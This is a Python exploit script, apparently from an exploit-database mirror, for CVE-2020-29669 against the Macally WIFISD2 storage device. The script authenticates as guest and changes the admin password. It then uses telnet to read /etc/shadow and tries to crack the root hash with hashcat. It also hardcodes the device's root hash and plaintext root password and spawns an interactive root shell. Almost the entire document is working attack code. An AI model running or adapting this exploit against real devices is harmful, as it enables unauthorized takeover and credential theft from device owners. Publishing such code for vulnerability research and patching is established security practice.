Share
## https://sploitus.com/exploit?id=PACKETSTORM:160478
# Exploit Title: Macally WIFISD2-2A82 2.000.010 - Guest to Root Privilege Escalation  
# Date: 03.12.2020   
# Exploit Author: Maximilian Barz and Daniel Schwendner  
# Vendor Homepage: https://us.macally.com/products/wifisd2  
# Version: 2.000.010  
# Tested on: Kali Linux 5.7.0-kali1-amd64  
# CVE : CVE-2020-29669  
# Reference: https://github.com/S1lkys/CVE-2020-29669/  
  
#!/usr/bin/env/python3  
import requests  
import telnetlib  
import os  
import sys  
import re  
  
banner = '''\033[94m  
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–„โ–„โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“ โ–„โ–„โ–„ โ–ˆโ–ˆโ–€โ–ˆโ–ˆโ–ˆ โ–„โ–„โ–„โ–„ โ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆโ–€โ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–„โ–„โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“  
โ–’โ–ˆโ–ˆ โ–’ โ–“ โ–ˆโ–ˆโ–’ โ–“โ–’โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–„ โ–“โ–ˆโ–ˆ โ–’ โ–ˆโ–ˆโ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–„ โ–ˆโ–ˆ โ–“โ–ˆโ–ˆโ–’โ–“โ–ˆโ–ˆ โ–’ โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ โ–’ โ–“ โ–ˆโ–ˆโ–’ โ–“โ–’  
โ–‘ โ–“โ–ˆโ–ˆโ–„ โ–’ โ–“โ–ˆโ–ˆโ–‘ โ–’โ–‘โ–’โ–ˆโ–ˆ โ–€โ–ˆโ–„ โ–“โ–ˆโ–ˆ โ–‘โ–„โ–ˆ โ–’โ–’โ–ˆโ–ˆโ–’ โ–„โ–ˆโ–ˆโ–“โ–ˆโ–ˆ โ–’โ–ˆโ–ˆโ–‘โ–“โ–ˆโ–ˆ โ–‘โ–„โ–ˆ โ–’โ–‘ โ–“โ–ˆโ–ˆโ–„ โ–’ โ–“โ–ˆโ–ˆโ–‘ โ–’โ–‘  
โ–’ โ–ˆโ–ˆโ–’โ–‘ โ–“โ–ˆโ–ˆโ–“ โ–‘ โ–‘โ–ˆโ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–ˆ โ–’โ–ˆโ–ˆโ–€โ–€โ–ˆโ–„ โ–’โ–ˆโ–ˆโ–‘โ–ˆโ–€ โ–“โ–“โ–ˆ โ–‘โ–ˆโ–ˆโ–‘โ–’โ–ˆโ–ˆโ–€โ–€โ–ˆโ–„ โ–’ โ–ˆโ–ˆโ–’โ–‘ โ–“โ–ˆโ–ˆโ–“ โ–‘   
โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’ โ–’โ–ˆโ–ˆโ–’ โ–‘ โ–“โ–ˆ โ–“โ–ˆโ–ˆโ–’โ–‘โ–ˆโ–ˆโ–“ โ–’โ–ˆโ–ˆโ–’โ–‘โ–“โ–ˆ โ–€โ–ˆโ–“โ–’โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“ โ–‘โ–ˆโ–ˆโ–“ โ–’โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–’โ–’ โ–’โ–ˆโ–ˆโ–’ โ–‘   
โ–’ โ–’โ–“โ–’ โ–’ โ–‘ โ–’ โ–‘โ–‘ โ–’โ–’ โ–“โ–’โ–ˆโ–‘โ–‘ โ–’โ–“ โ–‘โ–’โ–“โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–€โ–’โ–‘โ–’โ–“โ–’ โ–’ โ–’ โ–‘ โ–’โ–“ โ–‘โ–’โ–“โ–‘โ–’ โ–’โ–“โ–’ โ–’ โ–‘ โ–’ โ–‘โ–‘   
โ–‘ โ–‘โ–’ โ–‘ โ–‘ โ–‘ โ–’ โ–’โ–’ โ–‘ โ–‘โ–’ โ–‘ โ–’โ–‘โ–’โ–‘โ–’ โ–‘ โ–‘โ–‘โ–’โ–‘ โ–‘ โ–‘ โ–‘โ–’ โ–‘ โ–’โ–‘โ–‘ โ–‘โ–’ โ–‘ โ–‘ โ–‘   
โ–‘ โ–‘ โ–‘ โ–‘ โ–‘ โ–’ โ–‘โ–‘ โ–‘ โ–‘ โ–‘ โ–‘โ–‘โ–‘ โ–‘ โ–‘ โ–‘โ–‘ โ–‘ โ–‘ โ–‘ โ–‘ โ–‘   
โ–‘ โ–‘ โ–‘ โ–‘ โ–‘ โ–‘ โ–‘ โ–‘   
โ–‘   
\x1b[0m  
Macally WIFISD2 Guest to Root Privilege Escalation for CVE-2020-29669 by Maximilian Barz and Daniel Schwendner   
'''  
def main():  
if(len(sys.argv) < 2):  
print(banner)  
print("Usage: %s <host> " % sys.argv[0])  
print("Eg: %s 1.2.3.4 " % sys.argv[0])  
return  
rhost = sys.argv[1]  
session = requests.Session()  
guest_creds = "guest_pass"  
admin_pass_to_set = "Silky123"  
  
def send_requests():  
url = "http://"+rhost+"/protocol.csp?function=set"  
payload = {'fname':'security','opt':'pwdchk','name':'guest','pwd1':guest_creds,'function':'set'}  
headers = {  
'Host': rhost,  
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',  
'Accept': '*/*',  
'Accept-Language': 'en-US,en;q=0.5',  
'Accept-Encoding': 'gzip, deflate',  
'Referer': 'http://'+rhost+'/index.html',  
'Content-Type': 'application/x-www-form-urlencoded',  
'Content-Length': '65',  
'Connection': 'close',  
'Cache-Control': 'no-cache',  
}  
  
r= session.post(url, payload, headers)  
if (b"<errno>0</errno>" in r.content):  
print("\033[92m[+] Authentication successful\x1b[0m")  
print("\t"+str(session.cookies.get_dict()))  
else:  
print("\033[91m[+] Authentication failed.\x1b[0m")  
sys.exit()  
  
url = "http://"+rhost+"/protocol.csp?fname=security&function=set"   
payload = {'name':'admin','opt':'pwdmod','pwd1':admin_pass_to_set,'pwd2':admin_pass_to_set}  
headers = {  
'Host': rhost,  
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',  
'Accept': '*/*',  
'Accept-Language': 'en-US,en;q=0.5',  
'Accept-Encoding': 'gzip, deflate',  
'Referer': 'http://'+rhost+'/app/user/guest.html',  
'Content-Type': 'application/x-www-form-urlencoded',  
'Content-Length': '49',  
'Connection': 'close',  
'Cache-Control': 'no-cache',  
}  
d = session.post(url, payload, headers)  
if (b"<errno>0</errno>" in d.content):  
print("\033[92m[+] Admin Password changed to: "+admin_pass_to_set+"\x1b[0m")  
telnet_grep_root_hash()  
#print("[+] Spawning Admin Shell")  
#telnet_login()  
else:  
print("\033[91m[+] Admin Password change failed\x1b[0m")  
sys.exit()  
  
  
def telnet_grep_root_hash():  
user = "admin"  
tn = telnetlib.Telnet(rhost)  
tn.read_until(b"login: ")  
tn.write(user.encode('ascii') + b"\n")  
tn.read_until(b"Password: ")  
tn.write(admin_pass_to_set.encode('ascii') + b"\n")  
print("\033[92m[+] Dumping Hashes:\x1b[0m")  
tn.write(b"cat /etc/shadow\n\r")  
tn.write(b"exit\n")  
output = tn.read_all().decode('ascii')  
L = output.split('\n')  
for hash in L:  
if ":" in hash:  
print("\t"+hash)  
print("\n\r")  
for hash in L:  
if "root" in hash:  
print("\033[92m[+] Root Hash found, trying to crack it..\x1b[0m")  
print("\t"+hash) #root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::  
f = open("root_hash","w+")  
f.write(hash)  
f.close()  
crack_root_hash();  
  
  
def crack_root_hash():  
f = open("root_hash", "r")  
hash = f.read()  
if ("root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::" in hash):  
print("\033[92mRoot Password: 20080826\x1b[0m\n")  
telnet_login()  
else:  
os.system("hashcat -a 0 -m 500 root_hash /root/tools/routersploit/routersploit/resources/wordlists/passwords.txt") #https://github.com/threat9/routersploit/blob/master/routersploit/resources/wordlists/passwords.txt  
  
def telnet_login():  
print("\033[92m[+] Spawning Rootshell\x1b[0m")  
user = "root"  
root_password="20080826"  
tn = telnetlib.Telnet(rhost)  
tn.read_until(b"login: ")  
tn.write(user.encode('ascii') + b"\n")  
tn.read_until(b"Password: ")  
tn.write(root_password.encode('ascii') + b"\n")  
tn.interact()  
print(banner)  
send_requests()  
  
if(__name__ == '__main__'):  
main()